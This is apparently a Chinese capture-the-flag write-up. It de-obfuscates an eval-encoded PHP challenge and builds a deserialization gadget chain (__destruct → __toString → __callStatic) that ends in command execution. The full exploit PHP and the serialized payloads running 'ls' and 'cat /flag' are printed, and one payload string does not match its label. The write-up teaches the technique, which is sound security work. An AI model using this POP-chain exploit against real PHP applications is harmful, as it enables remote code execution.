文档说明
本文作者:SwBack
创作时间:2025年11月27日,17:33:39
知乎:https://www.zhihu.com/people/back-88-87
CSDN:https://blog.csdn.net/qq_30817059
百度搜索: SwBack
转载请备注来源
解题过程
拿到混淆代码
目录扫描得到
www.zip

代码解密
得到php 混淆代码,如下
php
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
?>
将eval 修改为echo 运行,得到第一次解密的代码
php
$O0O000="KXpJtRrgqUOHcFewyoPSWnCbvkfMIdmxzsELYZBVGhDNuaATlQjiTaMhyQJUrZntqeKBsNwRckmlodVASYpWxjLEbIfCgvOFuizDPGXHwO9BitzTSmzUSgCsqp9sa3hPqg9sYgPuIsUBTDjTmHzUSmfXlgexqsfxigdTSmzUStjTSmzUSmzUSmfBYchjicAUhg5PKtG7mHzUSmzUSmzUqtCHlgPXSmQBbaFxnBNUSmzUSmzUStf1bpWMbsfpYc5XYgPolHfVa3QoZ3Qsic5kTmP7mHzUSmzUSmzUSmzUSmQ0igPxED5uIav0nXMGDeNNhtQNiaAywkfvq3AMnBNUSmzUSmzUSt0TSmzUSt0TSmzUSgFjbaFxStYomHzUSmf7mHzUSmzUSmzUqtCHlgPXSmQxIaU7mHzUSmzUSmzUqtCHlgPXSmQvI2Z7mHzUSmzUSmzUqtCHlgPXSmQMlkQPlkQMl247mHzUSmzUSmzUqtCHlgPXSgI1lpF0ic9uSe9VIgCxYth1b3GNTajTSmzUSmzUSmzUSmzUIcFNlszHRgdUCth5StFPqpPvlgP6IRfFIRLHnBNUSmzUSmzUSmzUSmzdYgvMqs0+ic5xqgCXYmUMnBNUSmzUSmzUSt0TSmzUSmzUSmfpYc5XYgPolHfMlkFBIcF0TmP7mHzUSmzUSmzUSmzUSgPpTmQ0igPxED5xIaU9wRYHl3dkhHbdYgvMqs0+bcYPwD0kIcPkitQPIc4kTGNUSmzUSmzUSmzUSmf7mHzUSmzUSmzUSmzUSmzUSmfPb2voSmQ0igPxED5MlkQPlkQMl247mHzUSmzUSmzUSmzUSt0TSmzUSmzUSmzUSmzUIcFNlszH8h+IvDL45lTf8h+SjHS7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSgFjbaFxSLQPlc8TSmzUStjTSmzUSmzUSmfBYchjicAUhgL7mHzUSmzUSmzUq3QvYgPXSgI1lpF0ic9uSe9Vb2ejleF0baQMbsUdbcF0ic9uEmzdIg8MmHzUSmzUSmzUKBNUSmzUSmzUSmzUSmfklg9HbcBUhgS7mHzUSmzUSmzUSmzUSmQHTmQdl1jBaRd7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSmQHSO0Uhe9GD1FZcsYBbaFxY29sImYYnBNUSmzUhgLUwRzda1fwZ1Qlh3CxIahubc1Ph107mHzUSmfzYc5xIahMbcWMKpZNhgLMnBNUSmzUicbUTmeMq3FPYmUdbHdMStjTSmzUSmzUSmfPb2voSmS9wD09wD09wD09wD09wD09wD1GDeNURc5BYaGUcc91qHfnbc1PSD09wD09wD09wD09wD09wD09wRS7mHzUSmf9mHzUSmfMIHUdbD09h2edlcPuhsbphgS9wRSkixepYcv1h3AUYgCxYmfdIc1oSHdTSmzUStjTSmzUSmzUSmfPb2voTmEkploPoIapHhOPHM8HTDjTSmzUSt0TmHzUSmz/wU==";
eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),
$OO0O00($O0O000,0,$OO0000))));

再次修改eval为echo ,得到明文代码

php
<?php
error_reporting(0);
class shi
{
public $next;
public $pass;
public function __toString(){
$this->next::PLZ($this->pass);
}
}
class wo
{
public $sex;
public $age;
public $intention;
public function __destruct(){
echo "Hi Try serialize Me!";
$this->inspect();
}
function inspect(){
if($this->sex=='boy'&&$this->age=='eighteen')
{
echo $this->intention;
}
echo "🙅18岁🈲";
}
}
class Demo
{
public $a;
static function __callStatic($action, $do)
{
global $b;
$b($do[0]);
}
}
$b = $_POST['password'];
$a = $_POST['username'];
@unserialize($a);
if (!isset($b)) {
echo "==================PLZ Input Your Name!==================";
}
if($a=='admin'&&$b=="'k1fuhu's test demo")
{
echo("登录成功");
}
?>
构造payload
进行反序列化,得到exp
php
<?php
error_reporting(0);
class shi
{
public $next;
public $pass;
public function __toString(){
$this->next::PLZ($this->pass);
}
}
class wo
{
public $sex;
public $age;
public $intention;
public function __destruct(){
echo "Hi Try serialize Me!";
$this->inspect();
}
function inspect(){
if($this->sex=='boy'&&$this->age=='eighteen')
{
echo $this->intention;
}
echo "🙅18岁🈲";
}
}
class Demo
{
public $a;
static function __callStatic($action, $do)
{
global $b;
$b($do[0]);
}
}
$b = $_POST['password'];
$a = $_POST['username'];
$wo = new wo();
$wo->sex = 'boy';
$wo->age = 'eighteen';
$shi = new shi();
$shi->next = "Demo";
$shi->pass = "cat /flag";
$wo->intention = $shi;
echo serialize($wo);
## O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";s:4:"Demo";s:4:"pass";s:2:"ls";}}
// @unserialize($a);
// if (!isset($b)) {
// echo "==================PLZ Input Your Name!==================";
// }
// if($a=='admin'&&$b=="'k1fuhu's test demo")
// {
// echo("登录成功");
// }
?>
传参最终拿到flag

解题原理
讲解解题原理之前,简单说一下这道题里面的几个问题。
- 三个类怎么关联?
$next::PLZ是什么echo $this->intention;的作用
一、三个类怎么关联?
PHP 的类虽然是 "独立定义" 的,但类的实例(对象)的属性可以指向另一个类的实例------ 这是把独立类串起来的核心!
php
class A {}
class B {
public $attr; // 可以赋值为A的实例
}
$b = new B();
$b->attr = new A(); // 把A的实例塞进B的属性里
二、拆解 next::PLZ(next::PLZ(next::PLZ(this->pass) 是什么?
$next::PLZ(...) 是 PHP 的静态方法调用语法(:: 叫「范围解析操作符」),
核心要点:
$next 是一个变量(shi 类的属性),它的值可以是「类名」(比如Demo );
PLZ 是要调用的静态方法名(注意:代码里没有任何类定义过PLZ方法 );
$next::PLZ($this->pass) 等价于 Demo::PLZ($pass)(如果$next="Demo")。
PHP 有个魔法方法叫 __callStatic------当你调用一个类中不存在的静态方法时,会自动触发这个类的__callStatic方法。
三、为什么 echo $intention 这么关键?
echo $intention 不是 "单纯输出一个定义",而是触发了shi类的__toString()魔法方法 ------ 这是整个调用链的 "关键桥梁"。
核心规则:__toString() 的触发条件
PHP 中,当你试图把一个对象当作字符串来使用(比如echo对象、把对象拼接进字符串、用print输出对象等),会自动调用这个对象所属类的__toString()方法。
分析思路
这就很有意思,如果我想执行下面代码的
$b($do[0]);,就需要调用__callStatic,然后必须调用一个类中不存在的静态方法
$b($do[0]);=> system(ls);
php
class Demo
{
public $a;
static function __callStatic($action, $do) #$action是方法名,$do是参数数组
{
global $b;
$b($do[0]);
}
}
而shi类中存在一个没有任何类定义过PLZ 方法,那我就需要调用shi类的
__toString()。让next = "Demo" , pass = "ls";
这样Demo::PLZ("ls"); 因为PLZ不存在,所以会执行__callStatic;
php
class shi
{
public $next;
public $pass;
public function __toString(){
$this->next::PLZ($this->pass);
}
}
__toString() 的触发条件 在刚才已经说了,需要将对象当作字符串来使用。而wo类的inspect方法,正好存在
echo $this->intention;;只需要让if条件成立即可。即 sex="boy",sex="boy",sex="boy",age="eighteen";
php
class wo
{
public $sex;
public $age;
public $intention;
public function __destruct(){
echo "Hi Try serialize Me!";
$this->inspect();
}
function inspect(){
if($this->sex=='boy'&&$this->age=='eighteen')
{
echo $this->intention;
}
echo "🙅18岁🈲";
}
}
exp构造
因此组合起来即为
php
<?php
class shi
{
public $next;
public $pass;
public function __toString(){
$this->next::PLZ($this->pass);
}
}
class wo
{
public $sex;
public $age;
public $intention;
public function __destruct(){
#echo "Hi Try serialize Me!";
$this->inspect();
}
function inspect(){
if($this->sex=='boy'&&$this->age=='eighteen')
{
echo $this->intention;
}
#echo "🙅18岁🈲";
}
}
class Demo
{
public $a;
static function __callStatic($action, $do)
{
global $b;
$b($do[0]);
}
}
$wo = new wo();
$wo->sex = 'boy';
$wo->age = 'eighteen';
$shi = new shi();
$shi->next = "Demo";
$shi->pass = "ls";
$wo->intention = $shi;#到此,执行echo,成功调用__toString,然后调用__callStatic。
echo serialize($wo);
wo::__destruct() → wo::inspect() → echo intention(shi对象)→ shi::__toString() → Demo::PLZ()(不存在)→ Demo::__callStatic() → \)b($pass);
代码可以精简,因为 PHP 序列化只保存属性,因此 EXP 中可省略魔法方法定义
最终得到
php
<?php
error_reporting(0);
class shi
{
public $next;
public $pass;
}
class wo
{
public $sex;
public $age;
public $intention;
}
$wo = new wo();
$wo->sex = 'boy';
$wo->age = 'eighteen';
$shi = new shi();
$shi->next = "Demo";
$shi->pass = "cat /flag";
$wo->intention = $shi;
echo serialize($wo);
?>
O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";s:4:"Demo";s:4:"pass";s:9:"cat /flag";}}
注意因为 $b = $_POST['password']; 所以密码字段传递php 函数。
如果有文章被设置为VIP可看(该操作为CSDN自动设置,非本人亲自操作,可以私信我解开设置)
